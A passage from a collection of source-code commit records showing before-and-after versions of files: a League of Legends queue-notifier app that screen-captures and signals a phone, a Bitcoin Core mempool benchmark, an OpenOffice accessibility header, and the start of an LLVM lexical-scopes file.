(bmp_from_file->GetHeight() \/ 2), exe_name);\r\n\r\n   \t\/\/ set text for ip and authnum\r\n   \tauth_num << main_server.getAuthNum();\r\n   \t((wxStaticText*) (frame->FindWindowById(wxAUTH_TEXT)))->SetLabelText(auth_num);\r\n\r\n\twhile(_close_qpop == 0){\r\n\t\tresult = Screen_Capturer::takeSnapshot(&snapshot, exe_name);\r\n\t\tif(main_server.is_Connected()) connect_status_text->SetForegroundColour(wxColour(wxT(\"GREEN\")));\r\n\t\telse connect_status_text->SetForegroundColour(wxColour(wxT(\"RED\")));\r\n\t\tframe->Refresh();\r\n\r\n\t\tif(result == 0)\r\n\t\t{\t\r\n\r\n\r\n\t\t\t\/\/ Crop snapshot with the given profile coordinate and the width and height of the loaded file\r\n\t\t\t\/\/ This will keep the resolutions the same and attempt to match it with the appropriate picture\r\n\t\t\tImg_Processing::cropBitmap(&snapshot, cur_prof.getX(0), cur_prof.getY(0), (int) bmp_from_file->GetWidth(), (int) bmp_from_file->GetHeight());\r\n\t\t\t\/\/ mulitiply by 100 since the percentage wil come back <= 1\r\n\t\t\tdifference = Img_Processing::compareMemoryImg(snapshot, bmp_from_file) * 100;\r\n\r\n\t\t\t\/\/ Display Difference\r\n\t\t\twxdifference.Clear();\r\n\t\t\twxdifference << difference;\r\n\t\t\tdiff_text->SetLabelText(wxdifference);\r\n\r\n\t\t\tif(0 < cur_prof.getThresholdAt(0)) image_match = difference > cur_prof.getThresholdAt(0);\r\n\t\t\t\/\/ if the threshold is negative in the settings profile it means compare the difference for less than that threshold amount\r\n\t\t\telse image_match = difference < (cur_prof.getThresholdAt(0) * -1);\r\n\r\n\t\t\t\/\/ send message to mobile according to if the image matched\r\n\t\t\tif(image_match){\r\n\r\n\t\t\t\tcondition.notify_one();\r\n\t\t\t\tif(delay_count <= 0){\r\n\t\t\t\t\tmain_server.send(\"popped\");\r\n\t\t\t\t\t\/\/ If server is connected, set a 20 loop delay. This prevents a click being sent, the button transition\r\n\t\t\t\t\t\/\/ not completing and retriggering the threshold, resulting in a short false positive\r\n\t\t\t\t\tif(main_server.is_Connected()){\r\n\t\t\t\t\t\tSetDelayCount(20);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\telse{\r\n\t\t\t\tmain_server.send(\"queued\");\r\n\t\t\t\tmain_server.setCondition(false);\r\n\t\t\t}\r\n\t\t\t\/\/ deduct from delay count every iteration\r\n\t\t\tif(delay_count > 0){\r\n\t\t\t\tDecDelayCount();\r\n\t\t\t}\r\n\t\t}\r\n\t\t\/\/ Prevent from websocket closing if league isn't running\r\n\t\telse{\r\n\t\t\tmain_server.send(\"queued\");\r\n\t\t\tmain_server.setCondition(false);\r\n\t\t}\r\n\r\n\t\tSleep(500);\r\n\t}\r\n\r\n\tDeleteObject(bmp_from_file);\r\n\tDeleteObject(snapshot);\r\n\tfree(img_dimensions);\r\n\tGdiplus::GdiplusShutdown(gdiplusToken);\r\n}<commit_msg>added process not found message<commit_after>#define _WINSOCKAPI_\r\n#include <windows.h>\r\n\r\n#include \"qpop_app.h\"\r\n#include \"qpop_frame.h\"\r\n\r\n#include <stdio.h>\r\n#include <string>\r\n#include <settings_class.h>\r\n#include <iostream>\r\n#include <qpop_server.h>\r\n#include <gdiplus.h>\r\n#include <img_processing.h>\r\n#include <screen_capturer.h>\r\n#include <ancillary_functions.h>\r\n#include <shared_access.h>\r\n#include <mutex>\r\n\r\n\r\nnamespace boost\r\n{\r\n\t#ifdef BOOST_NO_EXCEPTIONS\r\n\tvoid throw_exception( std::exception const & e ){\r\n\t    throw e;\r\n\t};\r\n\t#endif\r\n}\r\n\r\n\/\/ TODO: check why connections are dropping randomly - reenable authentication\r\n\r\nusing namespace Ancillary_Function;\r\nusing namespace Qpop::gui;\r\nvoid MonitorCondition(Qpop_Server* s, int x, int y, std::string exe_name);\r\nvoid StartQpopBackend(QpopFrame* frame);\r\n\r\nbool QpopApp::OnInit(){\r\n\tQpopFrame* frame = new QpopFrame(\"Qpop\", wxDefaultPosition, wxSize(250, 200));\r\n\tframe->Show(true);\r\n\tthis->qpop_scanner = new std::thread(StartQpopBackend, frame);\r\n\treturn true;\r\n}\r\n\r\n\r\n\/**\r\n* Monitors the condition of whether or not\r\n* @param s        pointer to a running Qpop_server\r\n* @param x        x coordinate\r\n* @param y        y coordinate\r\n* @param exe_name name of process\r\n*\/\r\n\r\nvoid MonitorCondition(Qpop_Server* s, int x, int y, std::string exe_name) {\r\n\t\/\/ Set up port and start server to interact\r\n\t\/\/ with mobile app\r\n\ts->set_port(8000);\r\n\ts->start_server();\r\n\twhile (_close_qpop == 0) {\r\n\t\tstd::unique_lock<std::mutex> lock(_monitor_pause);\r\n\t\tcondition.wait(lock);\r\n\t\tif (s->conditionSatisfied()) {\r\n\t\t\tSetDelayCount(4);\r\n\t\t\tExhaustiveClick(x, y, exe_name);\r\n\t\t\ts->setCondition(false);\r\n\t\t}\r\n\t}\r\n}\r\n\r\nvoid StartQpopBackend(QpopFrame* frame){\r\n\tsrand(time(NULL));\r\n\twxString auth_num, wxdifference;\r\n\tQpop_Server main_server;\r\n\tstd::cout << \"Starting Main Program\" << std::endl;\r\n\tGdiplus::GdiplusStartupInput gdiplusStartupInput;\r\n   \tULONG_PTR gdiplusToken;\r\n   \tGdiplus::GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL);\r\n   \tbool image_match = false;\r\n\tstd::string exe_name;\r\n\tGdiplus::Bitmap* snapshot = NULL;\r\n\tGdiplus::Bitmap* bmp_from_file = NULL;\r\n\tint result = 0;\r\n\r\n\twxStaticText* connect_status_text = (wxStaticText*) (frame->FindWindowById(wxSTATUS_TEXT));\r\n\twxStaticText* diff_text = (wxStaticText*) (frame->FindWindowById(wxDIFF_TEXT));\r\n   \t\/\/ Create settings profile for league of legends\r\n   \tSettings_Profile cur_prof(\"lol.txt\");\r\n\r\n   \t\/\/ TODO: put into subclass\r\n   \tconnect_status_text->SetForegroundColour(wxColour(wxT(\"RED\")));\r\n   \tframe->Refresh();\r\n   \t\r\n   \t\/\/ Create scaling info struct. Keeps default  x and y for when window is resized. The resize it then applied\r\n   \t\/\/ To the location of the buttons\r\n\tloadBitmapFromFile(&bmp_from_file, cur_prof.getImgName(0));\r\n\tfloat difference = 0;\r\n\ttagSIZE* img_dimensions = (tagSIZE*) calloc(sizeof(tagSIZE), cur_prof.getImgCount());\r\n\texe_name = cur_prof.getProcessName();\r\n\r\n\t\/\/ Create thread to manage asynchronous requests. The numbers passed in are the coordinates for the\r\n\t\/\/ ExhaustiveClick call. When conditions for the server are true - it recieves a signal from a phone - \r\n\t\/\/ it will call this exhaustive click\r\n    std::thread monitor_thread(MonitorCondition, &main_server, cur_prof.getX(0) + (int) (bmp_from_file->GetWidth() \/ 2), cur_prof.getY(0) + (int) (bmp_from_file->GetHeight() \/ 2), exe_name);\r\n\r\n   \t\/\/ set text for ip and authnum\r\n   \tauth_num << main_server.getAuthNum();\r\n   \t((wxStaticText*) (frame->FindWindowById(wxAUTH_TEXT)))->SetLabelText(auth_num);\r\n\r\n\twhile(_close_qpop == 0){\r\n\t\tresult = Screen_Capturer::takeSnapshot(&snapshot, exe_name);\r\n\t\tif(main_server.is_Connected()) connect_status_text->SetForegroundColour(wxColour(wxT(\"GREEN\")));\r\n\t\telse connect_status_text->SetForegroundColour(wxColour(wxT(\"RED\")));\r\n\t\tframe->Refresh();\r\n\r\n\t\tif(result == -1) diff_text->SetLabelText(\"process not found\");\r\n\t\telse if(result == 0)\r\n\t\t{\t\r\n\r\n\r\n\t\t\t\/\/ Crop snapshot with the given profile coordinate and the width and height of the loaded file\r\n\t\t\t\/\/ This will keep the resolutions the same and attempt to match it with the appropriate picture\r\n\t\t\tImg_Processing::cropBitmap(&snapshot, cur_prof.getX(0), cur_prof.getY(0), (int) bmp_from_file->GetWidth(), (int) bmp_from_file->GetHeight());\r\n\t\t\t\/\/ mulitiply by 100 since the percentage wil come back <= 1\r\n\t\t\tdifference = Img_Processing::compareMemoryImg(snapshot, bmp_from_file) * 100;\r\n\r\n\t\t\t\/\/ Display Difference\r\n\t\t\twxdifference.Clear();\r\n\t\t\twxdifference << difference;\r\n\t\t\tdiff_text->SetLabelText(wxdifference);\r\n\r\n\t\t\tif(0 < cur_prof.getThresholdAt(0)) image_match = difference > cur_prof.getThresholdAt(0);\r\n\t\t\t\/\/ if the threshold is negative in the settings profile it means compare the difference for less than that threshold amount\r\n\t\t\telse image_match = difference < (cur_prof.getThresholdAt(0) * -1);\r\n\r\n\t\t\t\/\/ send message to mobile according to if the image matched\r\n\t\t\tif(image_match){\r\n\r\n\t\t\t\tcondition.notify_one();\r\n\t\t\t\tif(delay_count <= 0){\r\n\t\t\t\t\tmain_server.send(\"popped\");\r\n\t\t\t\t\t\/\/ If server is connected, set a 20 loop delay. This prevents a click being sent, the button transition\r\n\t\t\t\t\t\/\/ not completing and retriggering the threshold, resulting in a short false positive\r\n\t\t\t\t\tif(main_server.is_Connected()){\r\n\t\t\t\t\t\tSetDelayCount(20);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\telse{\r\n\t\t\t\tmain_server.send(\"queued\");\r\n\t\t\t\tmain_server.setCondition(false);\r\n\t\t\t}\r\n\t\t\t\/\/ deduct from delay count every iteration\r\n\t\t\tif(delay_count > 0){\r\n\t\t\t\tDecDelayCount();\r\n\t\t\t}\r\n\t\t}\r\n\t\t\/\/ Prevent from websocket closing if league isn't running\r\n\t\telse{\r\n\t\t\tmain_server.send(\"queued\");\r\n\t\t\tmain_server.setCondition(false);\r\n\t\t\tdiff_text->SetLabelText(\"-1\");\r\n\t\t}\r\n\r\n\t\tSleep(500);\r\n\t}\r\n\r\n\tDeleteObject(bmp_from_file);\r\n\tDeleteObject(snapshot);\r\n\tfree(img_dimensions);\r\n\tGdiplus::GdiplusShutdown(gdiplusToken);\r\n}<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2011-2019 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include <bench\/bench.h>\n#include <policy\/policy.h>\n#include <txmempool.h>\n\n#include <vector>\n\nstatic void AddTx(const CTransactionRef& tx, CTxMemPool& pool) EXCLUSIVE_LOCKS_REQUIRED(cs_main, pool.cs)\n{\n    int64_t nTime = 0;\n    unsigned int nHeight = 1;\n    bool spendsCoinbase = false;\n    unsigned int sigOpCost = 4;\n    LockPoints lp;\n    pool.addUnchecked(CTxMemPoolEntry(tx, 1000, nTime, nHeight, spendsCoinbase, sigOpCost, lp));\n}\n\nstruct Available {\n    CTransactionRef ref;\n    size_t vin_left{0};\n    size_t tx_count;\n    Available(CTransactionRef& ref, size_t tx_count) : ref(ref), tx_count(tx_count){}\n    Available& operator=(Available other) {\n        ref = other.ref;\n        vin_left = other.vin_left;\n        tx_count = other.tx_count;\n        return *this;\n    }\n};\n\nstatic void ComplexMemPool(benchmark::State& state)\n{\n    FastRandomContext det_rand{true};\n    std::vector<Available> available_coins;\n    std::vector<CTransactionRef> ordered_coins;\n    \/\/ Create some base transactions\n    size_t tx_counter = 1;\n    for (auto x = 0; x < 100; ++x) {\n        CMutableTransaction tx = CMutableTransaction();\n        tx.vin.resize(1);\n        tx.vin[0].scriptSig = CScript() << CScriptNum(tx_counter);\n        tx.vin[0].scriptWitness.stack.push_back(CScriptNum(x).getvch());\n        tx.vout.resize(det_rand.randrange(10)+2);\n        for (auto& out : tx.vout) {\n            out.scriptPubKey = CScript() << CScriptNum(tx_counter) << OP_EQUAL;\n            out.nValue = 10 * COIN;\n        }\n        ordered_coins.emplace_back(MakeTransactionRef(tx));\n        available_coins.emplace_back(ordered_coins.back(), tx_counter++);\n    }\n    for (auto x = 0; x < 800 && !available_coins.empty(); ++x) {\n        CMutableTransaction tx = CMutableTransaction();\n        size_t n_ancestors = det_rand.randrange(10)+1;\n        for (size_t ancestor = 0; ancestor < n_ancestors && !available_coins.empty(); ++ancestor){\n            size_t idx = det_rand.randrange(available_coins.size());\n            Available coin = available_coins[idx];\n            uint256 hash = coin.ref->GetHash();\n            \/\/ biased towards taking just one ancestor, but maybe more\n            size_t n_to_take = det_rand.randrange(2) == 0 ? 1 : 1+det_rand.randrange(coin.ref->vout.size() - coin.vin_left);\n            for (size_t i = 0; i < n_to_take; ++i) {\n                tx.vin.emplace_back();\n                tx.vin.back().prevout = COutPoint(hash, coin.vin_left++);\n                tx.vin.back().scriptSig = CScript() << coin.tx_count;\n                tx.vin.back().scriptWitness.stack.push_back(CScriptNum(coin.tx_count).getvch());\n            }\n            if  (coin.vin_left == coin.ref->vin.size()) {\n                coin = available_coins.back();\n                available_coins.pop_back();\n            }\n            tx.vout.resize(det_rand.randrange(10)+2);\n            for (auto& out : tx.vout) {\n                out.scriptPubKey = CScript() << CScriptNum(tx_counter) << OP_EQUAL;\n                out.nValue = 10 * COIN;\n            }\n        }\n        ordered_coins.emplace_back(MakeTransactionRef(tx));\n        available_coins.emplace_back(ordered_coins.back(), tx_counter++);\n    }\n    CTxMemPool pool;\n    LOCK2(cs_main, pool.cs);\n    while (state.KeepRunning()) {\n        for (auto& tx : ordered_coins) {\n            AddTx(tx, pool);\n        }\n        pool.TrimToSize(pool.DynamicMemoryUsage() * 3 \/ 4);\n        pool.TrimToSize(GetVirtualTransactionSize(*ordered_coins.front()));\n    }\n}\n\nBENCHMARK(ComplexMemPool, 1);\n<commit_msg>bench: Remove redundant copy constructor in mempool_stress<commit_after>\/\/ Copyright (c) 2011-2019 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include <bench\/bench.h>\n#include <policy\/policy.h>\n#include <txmempool.h>\n\n#include <vector>\n\nstatic void AddTx(const CTransactionRef& tx, CTxMemPool& pool) EXCLUSIVE_LOCKS_REQUIRED(cs_main, pool.cs)\n{\n    int64_t nTime = 0;\n    unsigned int nHeight = 1;\n    bool spendsCoinbase = false;\n    unsigned int sigOpCost = 4;\n    LockPoints lp;\n    pool.addUnchecked(CTxMemPoolEntry(tx, 1000, nTime, nHeight, spendsCoinbase, sigOpCost, lp));\n}\n\nstruct Available {\n    CTransactionRef ref;\n    size_t vin_left{0};\n    size_t tx_count;\n    Available(CTransactionRef& ref, size_t tx_count) : ref(ref), tx_count(tx_count){}\n};\n\nstatic void ComplexMemPool(benchmark::State& state)\n{\n    FastRandomContext det_rand{true};\n    std::vector<Available> available_coins;\n    std::vector<CTransactionRef> ordered_coins;\n    \/\/ Create some base transactions\n    size_t tx_counter = 1;\n    for (auto x = 0; x < 100; ++x) {\n        CMutableTransaction tx = CMutableTransaction();\n        tx.vin.resize(1);\n        tx.vin[0].scriptSig = CScript() << CScriptNum(tx_counter);\n        tx.vin[0].scriptWitness.stack.push_back(CScriptNum(x).getvch());\n        tx.vout.resize(det_rand.randrange(10)+2);\n        for (auto& out : tx.vout) {\n            out.scriptPubKey = CScript() << CScriptNum(tx_counter) << OP_EQUAL;\n            out.nValue = 10 * COIN;\n        }\n        ordered_coins.emplace_back(MakeTransactionRef(tx));\n        available_coins.emplace_back(ordered_coins.back(), tx_counter++);\n    }\n    for (auto x = 0; x < 800 && !available_coins.empty(); ++x) {\n        CMutableTransaction tx = CMutableTransaction();\n        size_t n_ancestors = det_rand.randrange(10)+1;\n        for (size_t ancestor = 0; ancestor < n_ancestors && !available_coins.empty(); ++ancestor){\n            size_t idx = det_rand.randrange(available_coins.size());\n            Available coin = available_coins[idx];\n            uint256 hash = coin.ref->GetHash();\n            \/\/ biased towards taking just one ancestor, but maybe more\n            size_t n_to_take = det_rand.randrange(2) == 0 ? 1 : 1+det_rand.randrange(coin.ref->vout.size() - coin.vin_left);\n            for (size_t i = 0; i < n_to_take; ++i) {\n                tx.vin.emplace_back();\n                tx.vin.back().prevout = COutPoint(hash, coin.vin_left++);\n                tx.vin.back().scriptSig = CScript() << coin.tx_count;\n                tx.vin.back().scriptWitness.stack.push_back(CScriptNum(coin.tx_count).getvch());\n            }\n            if (coin.vin_left == coin.ref->vin.size()) {\n                coin = available_coins.back();\n                available_coins.pop_back();\n            }\n            tx.vout.resize(det_rand.randrange(10)+2);\n            for (auto& out : tx.vout) {\n                out.scriptPubKey = CScript() << CScriptNum(tx_counter) << OP_EQUAL;\n                out.nValue = 10 * COIN;\n            }\n        }\n        ordered_coins.emplace_back(MakeTransactionRef(tx));\n        available_coins.emplace_back(ordered_coins.back(), tx_counter++);\n    }\n    CTxMemPool pool;\n    LOCK2(cs_main, pool.cs);\n    while (state.KeepRunning()) {\n        for (auto& tx : ordered_coins) {\n            AddTx(tx, pool);\n        }\n        pool.TrimToSize(pool.DynamicMemoryUsage() * 3 \/ 4);\n        pool.TrimToSize(GetVirtualTransactionSize(*ordered_coins.front()));\n    }\n}\n\nBENCHMARK(ComplexMemPool, 1);\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  $RCSfile: accessiblekeybindinghelper.hxx,v $\n *\n *  $Revision: 1.1 $\n *\n *  last change: $Author: tbe $ $Date: 2002-12-10 17:18:32 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef COMPHELPER_ACCESSIBLE_KEYBINDING_HELPER_HXX\n#define COMPHELPER_ACCESSIBLE_KEYBINDING_HELPER_HXX\n\n#ifndef _DRAFTS_COM_SUN_STAR_ACCESSIBILITY_XACCESSIBLEKEYBINDING_HPP_\n#include <drafts\/com\/sun\/star\/accessibility\/XAccessibleKeyBinding.hpp>\n#endif\n#ifndef _CPPUHELPER_IMPLBASE1_HXX_\n#include <cppuhelper\/implbase1.hxx>\n#endif\n#ifndef _OSL_MUTEX_HXX_\n#include <osl\/mutex.hxx>\n#endif\n\n#include <vector>\n\n\n\/\/..............................................................................\nnamespace comphelper\n{\n\/\/..............................................................................\n\n    \/\/==============================================================================\n    \/\/ OAccessibleKeyBindingHelper\n    \/\/==============================================================================\n\n    typedef ::cppu::WeakImplHelper1 <   ::drafts::com::sun::star::accessibility::XAccessibleKeyBinding\n                                    >   OAccessibleKeyBindingHelper_Base;\n\n    \/** a helper class for implementing an accessible keybinding\n     *\/\n    class OAccessibleKeyBindingHelper : public OAccessibleKeyBindingHelper_Base\n    {\n    private:\n        typedef ::std::vector< ::com::sun::star::uno::Sequence< ::drafts::com::sun::star::awt::KeyStroke > > KeyBindings;\n\n        KeyBindings     m_aKeyBindings;\n\n    protected:\n        ::osl::Mutex    m_aMutex;\n\n        virtual ~OAccessibleKeyBindingHelper();\n\n    public:\n        OAccessibleKeyBindingHelper();\n        OAccessibleKeyBindingHelper( const OAccessibleKeyBindingHelper& rHelper );\n\n        void AddKeyBinding( const ::com::sun::star::uno::Sequence< ::drafts::com::sun::star::awt::KeyStroke >& rKeyBinding ) throw (::com::sun::star::uno::RuntimeException);\n        void AddKeyBinding( const ::drafts::com::sun::star::awt::KeyStroke& rKeyStroke ) throw (::com::sun::star::uno::RuntimeException);\n\n        \/\/ XAccessibleKeyBinding\n        virtual sal_Int32 SAL_CALL getAccessibleKeyBindingCount() throw (::com::sun::star::uno::RuntimeException);\n        virtual ::com::sun::star::uno::Sequence< ::drafts::com::sun::star::awt::KeyStroke > SAL_CALL getAccessibleKeyBinding( sal_Int32 nIndex ) throw (::com::sun::star::lang::IndexOutOfBoundsException, ::com::sun::star::uno::RuntimeException);\n    };\n\n\/\/..............................................................................\n}   \/\/ namespace comphelper\n\/\/..............................................................................\n\n#endif \/\/ COMPHELPER_ACCESSIBLE_KEYBINDING_HELPER_HXX\n<commit_msg>INTEGRATION: CWS uaa02 (1.1.40); FILE MERGED 2003\/04\/10 11:56:57 mt 1.1.40.1: #108656# Moved Accessibility module from drafts to final<commit_after>\/*************************************************************************\n *\n *  $RCSfile: accessiblekeybindinghelper.hxx,v $\n *\n *  $Revision: 1.2 $\n *\n *  last change: $Author: vg $ $Date: 2003-04-24 17:25:46 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef COMPHELPER_ACCESSIBLE_KEYBINDING_HELPER_HXX\n#define COMPHELPER_ACCESSIBLE_KEYBINDING_HELPER_HXX\n\n#ifndef _COM_SUN_STAR_ACCESSIBILITY_XACCESSIBLEKEYBINDING_HPP_\n#include <com\/sun\/star\/accessibility\/XAccessibleKeyBinding.hpp>\n#endif\n#ifndef _CPPUHELPER_IMPLBASE1_HXX_\n#include <cppuhelper\/implbase1.hxx>\n#endif\n#ifndef _OSL_MUTEX_HXX_\n#include <osl\/mutex.hxx>\n#endif\n\n#include <vector>\n\n\n\/\/..............................................................................\nnamespace comphelper\n{\n\/\/..............................................................................\n\n    \/\/==============================================================================\n    \/\/ OAccessibleKeyBindingHelper\n    \/\/==============================================================================\n\n    typedef ::cppu::WeakImplHelper1 <   ::com::sun::star::accessibility::XAccessibleKeyBinding\n                                    >   OAccessibleKeyBindingHelper_Base;\n\n    \/** a helper class for implementing an accessible keybinding\n     *\/\n    class OAccessibleKeyBindingHelper : public OAccessibleKeyBindingHelper_Base\n    {\n    private:\n        typedef ::std::vector< ::com::sun::star::uno::Sequence< ::com::sun::star::awt::KeyStroke > > KeyBindings;\n\n        KeyBindings     m_aKeyBindings;\n\n    protected:\n        ::osl::Mutex    m_aMutex;\n\n        virtual ~OAccessibleKeyBindingHelper();\n\n    public:\n        OAccessibleKeyBindingHelper();\n        OAccessibleKeyBindingHelper( const OAccessibleKeyBindingHelper& rHelper );\n\n        void AddKeyBinding( const ::com::sun::star::uno::Sequence< ::com::sun::star::awt::KeyStroke >& rKeyBinding ) throw (::com::sun::star::uno::RuntimeException);\n        void AddKeyBinding( const ::com::sun::star::awt::KeyStroke& rKeyStroke ) throw (::com::sun::star::uno::RuntimeException);\n\n        \/\/ XAccessibleKeyBinding\n        virtual sal_Int32 SAL_CALL getAccessibleKeyBindingCount() throw (::com::sun::star::uno::RuntimeException);\n        virtual ::com::sun::star::uno::Sequence< ::com::sun::star::awt::KeyStroke > SAL_CALL getAccessibleKeyBinding( sal_Int32 nIndex ) throw (::com::sun::star::lang::IndexOutOfBoundsException, ::com::sun::star::uno::RuntimeException);\n    };\n\n\/\/..............................................................................\n}   \/\/ namespace comphelper\n\/\/..............................................................................\n\n#endif \/\/ COMPHELPER_ACCESSIBLE_KEYBINDING_HELPER_HXX\n<|endoftext|>"}
{"text":"<commit_before>\/\/===- LexicalScopes.cpp - Collecting lexical scope info ------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file implements LexicalScopes analysis.\n\/\/\n\/\/ This pass collects lexical scope information and maps machine instructions\n\/\/ to respective lexical scopes.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#define DEBUG_TYPE \"lexicalscopes\"\n#include \"llvm\/CodeGen\/LexicalScopes.h\"\n#include \"llvm\/CodeGen\/MachineFunction.h\"\n#include \"llvm\/CodeGen\/MachineInstr.h\"\n#include \"llvm\/DebugInfo.h\"\n#include \"llvm\/IR\/Function.h\"\n#include \"llvm\/Support\/Debug.h\"\n#include \"llvm\/Support\/ErrorHandling.h\"\n#include \"llvm\/Support\/FormattedStream.h\"\nusing namespace llvm;\n\nLexicalScopes::~LexicalScopes() {\n  releaseMemory();\n}\n\n\/\/\/ releaseMemory - release memory.\nvoid LexicalScopes::releaseMemory() {\n  MF = NULL;\n  CurrentFnLexicalScope = NULL;\n  DeleteContainerSeconds(LexicalScopeMap);\n  DeleteContainerSeconds(AbstractScopeMap);\n  InlinedLexicalScopeMap.clear();\n  AbstractScopesList.clear();\n}\n\n\/\/\/ initialize - Scan machine function and constuct lexical scope nest.\nvoid LexicalScopes::initialize(const MachineFunction &Fn) {\n  releaseMemory();\n  MF = &Fn;\n  SmallVector<InsnRange, 4> MIRanges;\n  DenseMap<const MachineInstr *, LexicalScope *> MI2ScopeMap;\n  extractLexicalScopes(MIRanges, MI2ScopeMap);\n  if (CurrentFnLexicalScope) {\n    constructScopeNest(CurrentFnLexicalScope);\n    assignInstructionRanges(MIRanges, MI2ScopeMap);\n  }\n}\n\n\/\/\/ extractLexicalScopes - Extract instruction ranges for each lexical scopes\n\/\/\/ for the given machine function.\nvoid LexicalScopes::\nextractLexicalScopes(SmallVectorImpl<InsnRange> &MIRanges,\n                  DenseMap<const MachineInstr *, LexicalScope *> &MI2ScopeMap) {\n\n  \/\/ Scan each instruction and create scopes. First build working set of scopes.\n  for (MachineFunction::const_iterator I = MF->begin(), E = MF->end();\n       I != E; ++I) {\n    const MachineInstr *RangeBeginMI = NULL;\n    const MachineInstr *PrevMI = NULL;\n    DebugLoc PrevDL;\n    for (MachineBasicBlock::const_iterator II = I->begin(), IE = I->end();\n         II != IE; ++II) {\n      const MachineInstr *MInsn = II;\n\n      \/\/ Check if instruction has valid location information.\n      const DebugLoc MIDL = MInsn->getDebugLoc();\n      if (MIDL.isUnknown()) {\n        PrevMI = MInsn;\n        continue;\n      }\n\n      \/\/ If scope has not changed then skip this instruction.\n      if (MIDL == PrevDL) {\n        PrevMI = MInsn;\n        continue;\n      }\n\n      \/\/ Ignore DBG_VALUE. It does not contribute to any instruction in output.\n      if (MInsn->isDebugValue())\n        continue;\n\n      if (RangeBeginMI) {\n        \/\/ If we have already seen a beginning of an instruction range and\n        \/\/ current instruction scope does not match scope of first instruction\n        \/\/ in this range then create a new instruction range.\n        InsnRange R(RangeBeginMI, PrevMI);\n        MI2ScopeMap[RangeBeginMI] = getOrCreateLexicalScope(PrevDL);\n        MIRanges.push_back(R);\n      }\n\n      \/\/ This is a beginning of a new instruction range.\n      RangeBeginMI = MInsn;\n\n      \/\/ Reset previous markers.\n      PrevMI = MInsn;\n      PrevDL = MIDL;\n    }\n\n    \/\/ Create last instruction range.\n    if (RangeBeginMI && PrevMI && !PrevDL.isUnknown()) 